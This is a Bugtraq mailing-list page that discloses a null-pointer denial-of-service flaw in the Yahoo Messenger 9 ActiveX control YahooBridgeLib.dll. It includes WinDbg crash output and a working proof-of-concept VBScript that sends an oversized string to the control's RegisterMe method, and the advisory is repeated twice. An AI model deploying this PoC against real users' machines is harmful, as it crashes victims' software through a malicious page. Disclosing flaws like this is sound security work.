Threat level definition
Search:
Home
Bugtraq
Vulnerabilities
Mailing Lists
Jobs
Tools
Beta Programs
News
Infocus
Foundations
Microsoft
Unix
IDS
Incidents
Virus
Pen-Test
Firewalls
Columnists
Mailing Lists
Newsletters
Bugtraq
Focus on IDS
Focus on Linux
Focus on Microsoft
Forensics
Pen-test
Security Basics
Vuln Dev
Vulnerabilities
Jobs
Job Opportunities
Resumes
Job Seekers
Employers
Tools
RSS
News
Vulns
Security Research
BugTraq
Back to list
|
Post reply
Yahoo Messenger 9 ActiveX DoS (Null Pointer) Vulnerability
Nov 12 2009 08:50AM
advisory hackattack com
************************************************************************
********
Product:
Yahoo Messenger 9.0.0.2162
************************************************************************
********
Vulnerability:
ActiveX Null Pointer - Denial of Service
************************************************************************
********
Description:
Yahoo Messenger is prone to a denial-of-service (cause of null pointer) vulnerability.
Vulnerability is in YahooBridgeLib.dll (Activex Control)
An attacker can exploit this vulnerability by enticing an unsuspecting victim to view a malicious webpage.
************************************************************************
********
Credits:
HACKATTACK IT SECURITY GmbH
Penetration Testing in Deutschland - Österreich - Schweiz
www.hackattack.com
************************************************************************
********
Debugger Results:
(1910.1a18): Access violation - code c0000005 (!!! second chance !!!)
eax=00000000 ebx=100092b4 ecx=018f0898 edx=002ae8d4 esi=00000000 edi=00000000
eip=10001074 esp=002ae858 ebp=002ae8dc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
*** WARNING: Unable to verify checksum for C:\Program Files\Yahoo!\Messenger\YahooBridgeLib.dll
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Yahoo!\Messenger\YahooBridgeLib.dll -
YahooBridgeLib+0x1074:
10001074 8b08 mov ecx,dword ptr [eax] ds:0023:00000000=????????
0:000> !analyze -v
...
...
...
PRIMARY_PROBLEM_CLASS: NULL_POINTER_READ
DEFAULT_BUCKET_ID: NULL_POINTER_READ
************************************************************************
********
PoC (.wsf script) :
<?XML version='1.0' standalone='yes' ?>
<package><job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:58916BE6-BAFF-4F33-AEFE-B2AA03FE4C86' id='target' />
<script language='vbscript'>
arg1=String(11284, "A")
target.RegisterMe arg1
</script>
</job>
</package>
[ reply ]
Privacy Statement
Copyright 2009, SecurityFocus
********
Product:
Yahoo Messenger 9.0.0.2162
************************************************************************
********
Vulnerability:
ActiveX Null Pointer - Denial of Service
************************************************************************
********
Description:
Yahoo Messenger is prone to a denial-of-service (cause of null pointer) vulnerability.
Vulnerability is in YahooBridgeLib.dll (Activex Control)
An attacker can exploit this vulnerability by enticing an unsuspecting victim to view a malicious webpage.
************************************************************************
********
Credits:
HACKATTACK IT SECURITY GmbH
Penetration Testing in Deutschland - Österreich - Schweiz
www.hackattack.com
************************************************************************
********
Debugger Results:
(1910.1a18): Access violation - code c0000005 (!!! second chance !!!)
eax=00000000 ebx=100092b4 ecx=018f0898 edx=002ae8d4 esi=00000000 edi=00000000
eip=10001074 esp=002ae858 ebp=002ae8dc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
*** WARNING: Unable to verify checksum for C:\Program Files\Yahoo!\Messenger\YahooBridgeLib.dll
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Yahoo!\Messenger\YahooBridgeLib.dll -
YahooBridgeLib+0x1074:
10001074 8b08 mov ecx,dword ptr [eax] ds:0023:00000000=????????
0:000> !analyze -v
...
...
...
PRIMARY_PROBLEM_CLASS: NULL_POINTER_READ
DEFAULT_BUCKET_ID: NULL_POINTER_READ
************************************************************************
********
PoC (.wsf script) :
<?XML version='1.0' standalone='yes' ?>
<package><job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:58916BE6-BAFF-4F33-AEFE-B2AA03FE4C86' id='target' />
<script language='vbscript'>
arg1=String(11284, "A")
target.RegisterMe arg1
</script>
</job>
</package>
[ reply ]